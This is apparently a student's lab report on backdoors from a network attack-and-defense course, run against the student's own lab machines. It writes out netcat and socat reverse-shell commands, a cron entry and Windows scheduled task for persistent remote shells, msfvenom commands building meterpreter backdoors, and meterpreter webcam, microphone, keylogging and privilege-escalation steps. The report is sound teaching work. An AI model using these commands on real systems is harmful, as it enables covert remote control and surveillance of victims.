Exp2 后门原理与实践 20204308李文艳

Exp2 后门原理与实践 20204308李文艳

1. 基础问题

1.1 例举你能想到的一个后门进入到你系统中的可能方式?

  • 插入不明来源的U盘
  • 安装网上一些不正规的破解软件
  • 在一些非正规的网站下载资源
  • 在钓鱼网站上点击不安全的链接
  • 陌生人发来的邮件中,不明的文件或者链接
  • 打开文档宏,执行的代码中注入后门

1.2 例举你知道的后门如何启动起来(win及linux)的方式?

  • Win:任务计划程序,设置开机自启动,安装伪装成服务,和其他文件捆绑,利用powershell。
  • Linux:通过cron指令制定任务来启动程序、各种脚本,和其他文件捆绑。

1.3 Meterpreter有哪些给你印象深刻的功能?

让我印象最深的是窃听窃照,甚至是键盘敲击的记录。
这些在此之前通过阅读斯诺登《永久记录》中,描述了美国能够监听民众摄像头、在键盘上敲击的字母等场景,当时只是感到很震惊和不可思议。
如今自己通过实验,利用Meterpreter自己就可以将这些操作实践成功,这让我对这些不再震惊与无知,并明白实现这样一件事情对于黑客来说是轻而易举的。

1.4 如何发现自己有系统有没有被安装后门?

  • 检查是否有不常用端口开放;
  • 检查是否有系统文件被修改;
  • 检查是否有可疑程序被执行;
  • 观察系统运行速度和内存有没有明显变化;
  • 观察注册表等。

2. 实验总结与体会

2.1 细节决定成败

在做实验过程中出现了许多小问题,在之后的问题排除过程中可以发现近80%的问题是由于小细节,比如单词拼写错误,缺少空格等,这些问题只要再细心一些就可以避免。

2.2 理解原理很重要

理解实验背后的原理,才能够在出现问题时更好的去寻找问题的原因。这次实验在何时使用何方的IP地址这一问题,就考验了我们对实验的理解。反连接,也就是靶机在“不知情”的情况下连接了攻击机,而攻击机需要实时地监听靶机。

2.3 提升网络安全意识

通过这样比较基础的后门实践,让我再次产生了一种危机感,斯诺登曝光的棱镜门事件美国监控全球,在实验前我只是感到不可思议和震惊,通过这次事件了解了能够实现其中监控的一个小原理,这让我感到自己又懂了些小知识 (半桶水都没有) 。 同时通过后门原理的学习,让我更加注重科学安全上网,尽量不落入一些后门、木马等全套,防范意识得到了一定程度的提高。

2.4 学会利用好的工具

通过网络攻防这么课程,开启了我的第一篇小博客。课堂上和看见其他课题负责人的实验报告之后,我决定去用博客来写实验报告。在这个过程中,我自主去了解其格式,markdown 语法,下载markdown 编译器(Typora)。这篇实验报告下来确实感觉markdown语言去做笔记很方便,很开心开启了我学习生涯的不一样的做笔记形式~

Live and learn

3. 实践过程记录

3.0 环境准备

为了方便之后实验中后门程序的运行,提前关闭Windows主机上的杀毒软件和防火墙。

3.0.1 获取IP地址

因为本次实验需要演示两主机间互相连接、反弹连接、注入后门等操作,因此需要先查询主机ip地址。

Windows:打开cmd窗口,输入ipconfig
查询到本机ip地址为172.30.7.176

在这里插入图片描述

Linux:打开命令行窗口,输入ifconfig
查询到虚拟机IP地址为192.168.191.128

在这里插入图片描述

3.0.2 ncat、socat、Meterpreter基础知识

  • ncat

    ncat即Netcat。Netcat用于从TCP/UDP连接中读取或发送网络数据。ncat可用来做端口扫描、端口转发、连接远程系统等。
    参数解释:
    -l:监听端口,监听入站信息
    -p:后跟本地端口号
    -v:显示端口的信息
    -vv:显示端口更详细的信息

  • socat

    socat可以看做是 Netcat 的加强版。Socat的主要特点就是在两个数据流之间建立双向通道,且支持众多协议和链接方式,如IP,TCP,UDP,IPv6,pipe,exec,system,open,proxy,openssl,socket等。
    功能​:端口转发​、​端口映射​、​端口监听、​tcp/udp连接​、​文件传送​、​nat映射​、使用openssl加密传输​

  • Meterpreter

    Meterpreter号称“黑客瑞士军刀”,首先他有五大模块功能:渗透攻击(Exploit)、攻击载荷(Payload)、Shellcode、模块(Module)、监听器(Listener),功能强大

3.1 使用netcat获取主机操作Shell,cron启动

3.1.1 Windows获取Linux Shell

本实验使用的端口号均为本人学号:4308

  • Windows用命令 ncat.exe -l -p 4308 监听4308端口,等待其他机器连接该端口。
  • kali使用命令 nc 172.30.7.176 4308 -e /bin/sh 反弹连接Windows,提供自己的shell(172.30.7.176为Win的IP)
  • Windows获得了linux的shell,可以执行linux的相关命令,例whoami,如图。
    在这里插入图片描述

3.1.2 Linux获取Windows Shell

  • 与上面的步骤相似,在linux中用命令 nc -l -p 4308 设置监听本地4308端口。Windows使用命令
    ncat.exe -e cmd.exe 192.168.191.128 4308
    反弹连接linux,提供自己的shell。(192.168.191.128为攻击者Linux的IP地址)
  • linux获得Windows的shell,可以执行相关命令,例dir
    在这里插入图片描述

3.1.3 利用ncat可执行文件 传输数据

  • Linux监听4308端口 ncat.exe -l -p 4308
  • Windows连接Linux的4308端口 ncat.exe 192.168.191.128 4308
  • 两台机器就可以互相传输信息了
    在这里插入图片描述

3.2 使用socat获取主机操作Shell, 任务计划启动

3.2.1 Windows获取Linux Shell

  • 先在Linux上编写一条定时任务,让反弹连接定时启动

Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。
crontab指令增加一条定时任务;e表示编辑;输入2表示选择vim编辑器。
用户所建立的crontab文件中,每一行都代表一项任务,每行的每个字段代表一项设置,它的格式共分为六个字段,前五段是时间设定段,第六段是要执行的命令段,格式如下:minute hour day month week command

  • 用指令 crontab -e 编辑定时任务。在第一次编辑的时候,会有提示选择编辑器,选择“2”,利用vim编辑器进行编辑。
  • 点击“i”进入编辑模式,在最后一行添加 45 * * * * /bin/netcat 172.30.7.176 4308 -e /bin/sh,意思是每小时的45分会反向连接Windows的4308端口。
  • 按Esc键退出编辑模式,输入 :wq 保存并退出。
    在这里插入图片描述
  • 等待至45分后,Windows获得Linux的shell,可执行相关命令,例pwd。
    在这里插入图片描述

3.2.2 Linux获取Windows Shell

  • man socat 查看socat使用说明
    在这里插入图片描述

  • 在Windows下,打开:控制面板->管理工具->任务计划程序,新建任务计划。
    在这里插入图片描述

  • 在操作选项中,选择“创建任务”,填写任务名称网络对抗技术实验2

    新建操作,选择启动的程序为
    socat.exe,参数项填写 tcp-listen:4302 exec:cmd.exe,pty,stderr
    含义为:把cmd.exe绑定到端口号,同时把cmd.exe的stderr重定向到stdout上。

在这里插入图片描述

  • 创建完成之后,选择创建的任务点击操作选项的“运行”,任务的状态成为“正在运行”。
    在这里插入图片描述
  • 在kali终端输入指令 socat - tcp:172.30.7.176:4308,此时Linux监听中
  • 等待预定时间14:29,Windows启动任务,socat.exe运行
  • Linux获得Windows Shell

在这里插入图片描述

3.3 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

3.3.1 生成后门

  • Kali命令行中输入以下命令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.191.128 LPORT=4308 -f exe > 20204308lwy_backdoor.exe

注:这里设置的主机IP和端口均为linux的IP、端口

LHOST为反弹回连的IP,在这里是要Windows主动连接kali,即反弹给Kali,也就是Kali的IP
LPORT是回连端口
p 使用payload,payload翻译为有效载荷,就是被运输有东西。
windows/meterpreter/reverse_tcp是一段shellcode
f 生成文件的类型:exe
“>” 输出文件名:20204308_backdoor.exe

在这里插入图片描述

3.3.2 将生成的后门传送到Windows主机上

  • 在Windows上监听4308端口等待接收可执行文件20204308lwy_backdoor.exe
ncat.exe -lv 4308 >20204308lwy_backdoor.exe

在这里插入图片描述

  • 在Kali上将生成的20204308lwy_backdoor.exe传送给Windows
nc 172.30.7.176 4308 < 20204308lwy_backdoor.exe

在这里插入图片描述
在这里插入图片描述

3.3.3 进入msf控制台进行配置

  • 在kali上使用 msfconsole 命令,进入msf控制台。

在这里插入图片描述

  • 配置监听模块
use exploit/multi/handler  //使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp //使用和生成后门程序时相同的payload
set LHOST 192.168.191.128  //KaliIP,和生成后门程序时指定的IP相同
set LPORT 4308	//设置本主机的端口

在这里插入图片描述

  • 输入 exploit 运行模块;在Windows上运行后门程序20204308lwy_backdoor.exe
    在这里插入图片描述
  • 查看kali,发现获得了Windows主机的连接,得到了远程控制的shell,可执行相关命令,例dir
    在这里插入图片描述

3.4 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

3.4.1 获取目标主机音频、摄像头、击键内容等内容

  • 获取目标主机的音频和截屏内容
record_mic    //音频
screenshot    //截屏

在这里插入图片描述

  • 使用命令 webcam_snap 可以获取摄像头所拍摄的照片
    在这里插入图片描述

  • 在kali上输入指令 keyscan_start ,开始记录键盘记录,然后在Windows上输入一些字母,之后,再切换到kali,输入指令
    keyscan_dump ,就可以读取键盘记录

    在Windows上新建了一个文本文档,随便输入了一串字符:have a good day~

在这里插入图片描述

3.4.2 提权

  • 先使用 getuid 指令查看当前用户,再使用 getsystem 指令进行提权。
    在这里插入图片描述
  • 发现提权失败,通过查询相关资料,发现需要以管理员身份运行后门程序,才能提权。
  • 以管理员身份运行20204308lwy_backdoor.exe,然后再试一次,成功提权。
    在这里插入图片描述

3.5 加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

  • 使用命令msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.191.128 LPORT=4308 -x /home/kali/20204308lwy_pwn2/pwn1 -f elf > 20204308_pwn生成以pwn1模板这个elf文件格式的shellcode文件20204308_pwn
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.191.128 LPORT=4308 -x /home/kali/20204308lwy_pwn2/pwn1 -f elf > 20204308_pwn

在这里插入图片描述

  • 输入指令msfconsole,进入msf命令行
    在这里插入图片描述
use exploit/multi/handler    //进入handler模式
set payload linux/x86/meterpreter/reverse_tcp  //对应生成的后门程序设置payload
show options  //查看当前信息状态
set LHOST 192.168.191.128  //设置LHOST,其中ip为攻击者Linux的ip
set LPORT 4308 //设置LPORT
exploit //启动监听
  • 在kali上运行后门文件20204308_pwn,在kali中执行文件前应先加权限 chmod +x 20204308_pwn
  • 此时攻击者Linux上已经获得了被攻击者Linux的连接,并且得到了远程控制的shell,执行ls等命令。
    在这里插入图片描述
    在这里插入图片描述

4. 遇到的问题及解决

4.1 无法连接反弹shell,建立session后立即关闭

问题描述:生成一个 xxx.deb 反弹shell客户端, 在客户端安装xxx.deb之后,反弹shell显示已经建立session但是随即就close
在这里插入图片描述
通过查询相关资料,发现payload没有配置成功。重新再次配置,显示了以下内容后,即可成功连接。
在这里插入图片描述
解决方法链接如下:
https://blog.csdn.net/tiankonghaiou/article/details/116955241

4.2 Win上无法运行meterpreter生成的可执行文件

问题描述:在把生成后门传送到Windows主机上,并需要运行该文件时,发现win无法运行文件,出现以下提示。
在这里插入图片描述
当时非常疑惑,以为是win11安全性太高不让执行后门程序 ,查找了许多资料都没能解决问题,再之后回溯实验才发现,过程中我忘记执行了nc 172.30.7.176 4308 < 20204308lwy_backdoor.exe命令,没有把Linux上生成的文件传给Win,而只是单纯的发现文件夹里多了程序20204308_backdoor.exe,就认为win已经有了后门程序。

4.3 提权失败

问题描述:无法以普通用户身份进行提权操作。
解决方法:要以管理员身份打开后门(可执行文件)后,有了充足权限才可进行提权操作。

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值